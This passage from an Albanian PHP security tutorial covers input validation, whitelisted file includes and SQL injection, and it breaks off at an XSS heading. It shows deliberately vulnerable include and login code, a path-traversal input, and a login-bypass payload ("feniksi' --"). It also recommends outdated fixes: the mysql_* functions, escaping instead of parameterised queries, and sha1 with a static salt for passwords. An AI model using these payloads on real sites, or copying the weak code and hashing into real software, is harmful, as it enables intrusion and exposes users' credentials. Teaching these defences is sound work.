<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Tenton ta konvertoje ne INT (permes filtrit FILTER_VALIDATE_INT).</span></li><li><span style="color: #666666; font-style: italic;">	Nese eshte numer (qofte edhe numer si string), do te ktheje vete numrin.</span></li><li><span style="color: #666666; font-style: italic;">	Nese nuk eshte numer, do te tkheje false.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #990000;">filter_var</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> FILTER_VALIDATE_INT<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Nese nuk kthen FALSE, do te thote se $id eshte INT.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT titulli, permbajtja FROM artikujt WHERE id=<span style="color: #006699; font-weight: bold;">$id</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Identifikuesi i Artikullit eshte i pavlefshem'</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Këto ishin tre teknika tipike për të validuar tipin e të dhënës dhe për të mënjanuar sulme, por edhe probleme logjike në aplikacion. Edhe pse unë u fokusova në numra për t&#8217;ju dhënë idenë, type casting, filter_var() dhe ctype_*() mund të përdoren për tipe të ndryshme të dhënash.</p>
<h3>Listat e Bardha</h3>
<p>Listat e bardha, ose si ç&#8217;mund ti keni dëgjuar në Anglisht, whitelists, janë mënyra më e mirë për të filtruar të dhënat të cilat njihen. Mendojeni sikur doni të bleni një celular dhe keni vendosur të jetë njëri prej tre modeleve: iPhone 4S, Nexus S dhe Galaxy S2. Praktikisht keni krijuar një listë të bardhë me tipet e celularëve që doni të merrni dhe çdo model tjetër nuk konsiderohet. Edhe në aplikacione web, logjika është e ngjashme.</p>
<p>Përfshirja e skedarëve PHP në mënyrë dinamike është një praktikë normale programimi. Mund të keni një parametër GET në bazë të të cilit përfshihet skedari PHP. Po ju tregoj një shembull ku s&#8217;përdor listë të bardhë. URL supozohet të jetë: <i>index.php?faqja=xxx</i>.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000088;">$faqja</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'faqja'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Supozoj qe parametri URL eshte ne formen:</span></li><li><span style="color: #666666; font-style: italic;">	&quot;rreth&quot; apo &quot;kontakt&quot; dhe skedari PHP eshte:</span></li><li><span style="color: #666666; font-style: italic;">	&quot;rreth.php&quot; apo &quot;kontakt.php&quot;.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$faqja</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Nëse merrni kohën ta gjykoni shembullin më sipër, do kuptoni se ka një problem fatal sigurie. Variabla $faqja, e cila vjen nga GET, mund të ketë çfarëdo vlere dhe kodi s&#8217;bën asgjë për ta shmangur këtë. Imagjinoni që një sulmues të modifikojë parametrin &#8220;faqja&#8221; në URL në: ../admin/skedar-sensitiv. Kodi më sipër s&#8217;do t&#8217;ja dijë se cilin skedar po përfshin për aq kohë sa egziston. Sulmuesi mund të navigojë nëpër skedarë sistem dhe për aq kohë sa hamendëson emra skedarësh PHP, mund të gjejë të dhëna që nuk supozohej ti shihte. Imagjinoni nëse në include() nuk përfshihej pjesa &#8220;.php&#8221;, që në një farë mënyre e limiton veprimin. Do ishte e tmerrshme sepse sulmuesi do mund të lexonte gjithçka.</p>
<p>Për ta mënjanuar këtë problem do të përdor një listë të bardhë që përcakton çfarë skedarësh mund të përfshihen. Meqë jemi në temë, po ju përmend edhe direktivën e PHP-së: open_basedir(), e cila limiton fushën e veprimit në skedarë të caktuar. Edhe pse është zgjidhje e mirë të implementohet nëpër aplikacione, jo gjithmonë është e mundur dhe më e rëndësishmja, aplikacioni duhet të jetë i sigurt në nivel kodi më parë, dhe së dyti në nivel konfigurimi. Le të shohim shembullin e përdorimit të listës e mos të shpërqëndrohemi më tepër.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000088;">$faqja</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'faqja'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Kam supozuar se jane disa faqe qe egzistojne. Emrat e seciles</span></li><li><span style="color: #666666; font-style: italic;">	i kam futur ne nje vektor.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000088;">$lista</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'rreth-nesh'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'kontakt'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'produktet'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	in_array() kthen TRUE nese nje vlere egziston ne nje vektor.</span></li><li><span style="color: #666666; font-style: italic;">	Ne kete rast, kontrollon nese $faqja egziston ne vektorin $lista.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$faqja</span><span style="color: #339933;">,</span> <span style="color: #000088;">$lista</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;faqet/<span style="color: #006699; font-weight: bold;">$faqja</span>.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Fare pak kod më tepër, e thjeshtë për tu implementuar dhe tërësisht e sigurt. I vetmi problem që kodi ka është puna manuale që kërkon për të mbushur vektorin $lista me faqet. Për sisteme të vogla mund të mos jetë problem, por nëse numri i faqeve është i madh dhe rritet shpesh, mirëmbajtja do të bëhej e vështirë. Në ato raste, mund të shkruani një kod më dinamik si më poshtë.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000088;">$faqja</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'faqja'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Nderton adresen e plote te faqes.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000088;">$faqja</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;faqet/<span style="color: #006699; font-weight: bold;">$faqja</span>.php&quot;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Glob kthen nje vektor me te gjithe skedaret qe ndodhen</span></li><li><span style="color: #666666; font-style: italic;">	brenda nje direktorie. Ne kete rast doja te gjithe skedaret</span></li><li><span style="color: #666666; font-style: italic;">	PHP, prandaj kam shkruar *.php. Vektori i kthyer do te jete</span></li><li><span style="color: #666666; font-style: italic;">	i formes:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">	array('faqet/rreth-nesh.php', 'faqet/kontakt.php');</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000088;">$lista</span> <span style="color: #339933;">=</span> <span style="color: #990000;">glob</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'faqet/*.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$faqja</span><span style="color: #339933;">,</span> <span style="color: #000088;">$lista</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$faqja</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Ata të fiksuar pas optimizimit, mund ti ruajnë rezultatet e glob() në një skedar tekst dhe ta rifreskojnë herë pas here. Një formë e thjeshtë caching. Sidoqoftë, pak mbi-ngarkesë ja vlen kur në temë hyn siguria dhe integriteti i të dhënave.</p>
<p>Mbani mend që të filtroni të dhënat qoftë sipas tipit apo përmes listave të bardha aty ku është e mundur. Jo vetëm që do të përmirësoni logjikën e aplikacionit, duke ofruar mesazhe në rast gabimesh, por edhe do pengoni disa probleme të rëndësishme sigurie. Megjithatë, në vijim do shihni që filtrimi i të dhënave është vetëm një pjesë e punës. Problemet kryesore të sigurisë lindin nga mos pastrimi i tyre.</p>
<h2>SQL Injections</h2>
<p>Besoj se në veshët e shumicës, SQL Injections është e dëgjuar. Në fakt, ky është problemi i sigurisë më i përhapur dhe &#8220;fajtor&#8221; i sulmimit të suksesshëm të një numri të papërcaktueshëm faqesh. Sidomos nëse kthehemi pak vite prapa në kohë, atëherë kur resurset e mësimit dhe praktikat e kodimit të mirë të pavendosura, dhe rrjedhimit programuesit të painformuar. Kanë kontribuar shumë edhe aplikacione me kod të hapur të koduara në mënyrën më të keqe të mundshme (PHP-Nuke?) që për fat të keq përdoreshin në masë.</p>
<p>SQL Injections janë sulme që synojnë databazat, si ç&#8217;mund ta kuptoni nga emri. Në thelb, sulmuesi modifikon të dhënat hyrëse për të manipuluar query-t SQL që të marrë informacionë, të shtojë ose në rastet ekstreme, edhe të fshijë tabela të tëra. E gjitha është një lojë nervash dhe fati, për të gjetur emrat e duhur të kolonave dhe tabelave në mënyrë që të marrin informacionet e rëndësishme si fjalëkalim administratori, emaile, karta krediti, etj. Në rastet ekstreme që përmend pak më parë, nëse të drejtat e lejojnë, mund edhe të fshihen tabela. Kjo është jo tipike, por jo se s&#8217;ka ndodhur&#8230;</p>
<p>SQL Injections prekin çdo sistem databazash që ndërvepron me SQL. Mund të jetë Oracle, MsSQL, MySQL, SQLite, etj. Në shembuj unë do përdor MySQL, si databaza de-facto në aplikacionet PHP. </p>
<p>Për ta demonstruar teknikën në veprim, le të shohim një shembull tipik: një formë e cila identifikon anëtarët. Përmban një formë HTML dhe pak kod PHP, të pa pastruar, që identifikon anëtarin.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>Emri<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;emri&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>Fjalekalimi<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;password&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;fjalekalimi&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">button</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span>&gt;</span>Identifikohu<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">button</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$fjalekalimi</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'fjalekalimi'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$fjalekalimi</span> <span style="color: #339933;">=</span> <span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fjalekalimi</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM anetaret WHERE emri='<span style="color: #006699; font-weight: bold;">$emri</span>' AND fjalekalimi='<span style="color: #006699; font-weight: bold;">$fjalekalimi</span>'&quot;</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezultatet</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'paneli-anetarit.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Kodi më sipër e bën punën! Nëse anëtari fut një kombinim të saktë emri dhe fjalëkalimi, do të marrë akses në panelin e anëtarit. Ajo që shumë programues fillestarë (dhe ndonjëherë edhe ata me eksperiencë) nuk logjikojnë këtu është se po i japin dorë të lirë sulmuesëve të modifikojnë kodin SQL. Por, përpara se t&#8217;ju tregoj sa e lehtë është të mënjanohet problemi, po ju tregoj si mund të sulmohet forma e mësipërme.</p>
<p>Nëse fus në formë fus emrin: feniksi dhe fjalëkalimin: 123456, query SQL që do të egzekutohet do të jetë i tillë:<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> anetaret <span style="color: #993333; font-weight: bold;">WHERE</span> emri<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'feniksi'</span> <span style="color: #993333; font-weight: bold;">AND</span> fjalekalimi<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'e10adc3949ba59abbe56e057f20f883e'</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Sulmuesi bën një test për të parë nëse aplikacioni &#8220;vuan&#8221; nga SQL Injections duke shtuar një thonjzë teke në emër. Pra, emri bëhet: <em>feniksi&#8217;</em> . Query SQL do të duket si më poshtë:<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> anetaret <span style="color: #993333; font-weight: bold;">WHERE</span> emri<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'feniksi'</span><span style="color: #ff0000;">' AND fjalekalimi='</span>e10adc3949ba59abbe56e057f20f883e<span style="color: #ff0000;">'</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Vini re dy thonjëzat teke pas &#8220;feniksi&#8221;! Një sintaksë e tillë është e gabuar në SQL dhe rrjedhimisht do të prodhohet një gabim, i cili do të shfaqet nga funksioni mysql_error() që kam shkruar. Në këtë moment, sulmuesi e di që aplikacioni s&#8217;bën asgjë për të pastruar të dhënat dhe këtu fillon loja. Rasti jonë është aq vulnerabël sa sulmuesi mund të identifikohet vetëm duke ditur (ose hamendësuar) një emër, pa pasur nevojë të dijë fjalëkalimin.</p>
<p>Emrin e modifikoj sërisht, tani për ta bërë: <em>feniksi&#8217; &#8211;</em> . Query SQL do të jetë e tillë:<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> anetaret <span style="color: #993333; font-weight: bold;">WHERE</span> emri<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'feniksi'</span> <span style="color: #808080; font-style: italic;">--' AND fjalekalimi='e10adc3949ba59abbe56e057f20f883e'</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Dy minuset janë komente në MySQL. Ajo që kam bërë më sipër është fare e thjeshtë dhe diçka që edhe një sulmues 10 vjeçar e di. Kam instruktuar që të kontrolloj për një emër &#8220;feniksi&#8221; dhe kam komentuar të gjithë kodin në vazhdim. Pra, kam komentuar pjesën ku kontrollohet fjalëkalimi. Fatale apo jo? Sulmuesi mund të identifikohet thjeshtë duke shkruar emrin! Ky emër mund të jetë &#8220;admin&#8221; dhe automatikisht ka marrë kredencialet e administratorit.</p>
<p>Imagjinoni sisteme më komplekse ku anëtarët kanë të ruajtur në databazë të dhëna sensitive. Sulmuesit i mjafton të bashkojë një query SQL egzistuese me një query që e shkruan ai, përmes UNION, që të marrë të dhëna nga kushdo tabelë që i intereson.</p>
<h3>Shmangja e SQL Injections</h3>
<p>Për fat të mirë, pastrimi i të dhënave dhe shmangja e SQL Injections është fare e thjeshtë. Për fat të keq, programuesëve u janë dashur vite ta mësojnë këtë praktikë dhe me siguri ka akoma programues me eksperiencë që nuk marrin masa. Për të ardhur keq&#8230;</p>
<p>Kodi më poshtë është modifikuar që të pastrojë të dhënat dhe ti nxjerrë tërësisht jashtë loje sulmet SQL Injection. E gjitha bazohet në një funksion të vetëm, i cili duhet t&#8217;ju bëhet rutinë.<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Kam pastruar emrin me mysql_real_escape_string(), i cili</span></li><li><span style="color: #666666; font-style: italic;">		ben escape (shton: \) karakteret qe mund te thyejne nje</span></li><li><span style="color: #666666; font-style: italic;">		query SQL. Ketu perfshihen edhe thonjezat teke dhe dyshe.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Fjalekalimin nuk e kam pastruar sepse konvertohet ne md5()</span></li><li><span style="color: #666666; font-style: italic;">		perpara se te perdoret ne SQL.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$fjalekalimi</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'fjalekalimi'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$fjalekalimi</span> <span style="color: #339933;">=</span> <span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fjalekalimi</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM anetaret WHERE emri='<span style="color: #006699; font-weight: bold;">$emri</span>' AND fjalekalimi='<span style="color: #006699; font-weight: bold;">$fjalekalimi</span>'&quot;</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezultatet</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'paneli-anetarit.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Më e thjeshtë se kaq, s&#8217;ka ku të shkojë. Po e rithem: funksionin mysql_real_escape_string(), ose çfarëdo funksioni përdor databaza që keni zgjedhur, bëjeni rutinë. Një praktikë kaq minimale shmang aq shumë probleme madhore sigurie.</p>
<p>Për t&#8217;ju dhënë pak përmbajtje ekstra, po e rishkruaj shembullin më sipër të jetë edhe më i sigurt. Nuk do të përdor md5(), sepse  është provuar që mund të thyhet pa shumë mund, dhe do të përdor SALT për të rritur sigurinë e fjalëkalimeve. Gjithashtu do të heq pjesën: or die(mysql_error()), e cila të ndihmon gjatë kodimit, por s&#8217;duhet të egzistojë në mjedis produksioni. Po kujtoj këtu direktivën display_errors.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$fjalekalimi</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'fjalekalimi'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$kripeza</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Feniksi.com'</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Kripeza eshte nje tekst arbitrar qe i bashkangjitet fjalekalimit</span></li><li><span style="color: #666666; font-style: italic;">		per ta bere me te veshtire gjetjen e tij, sidomos per fjalekalime</span></li><li><span style="color: #666666; font-style: italic;">		te thjeshta. Mund te jete nje fjale statike apo dinamike, per aq</span></li><li><span style="color: #666666; font-style: italic;">		kohe sa ruhet diku dhe perdoret e njejta ne krijimin e fjalekalimit</span></li><li><span style="color: #666666; font-style: italic;">		dhe krahasimet e tij.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000088;">$fjalekalimi</span> <span style="color: #339933;">=</span> <span style="color: #990000;">sha1</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fjalekalimi</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$kripeza</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM anetaret WHERE emri='<span style="color: #006699; font-weight: bold;">$emri</span>' AND fjalekalimi='<span style="color: #006699; font-weight: bold;">$fjalekalimi</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezultatet</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'paneli-anetarit.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>XSS: Cross Site Scripting</h2>
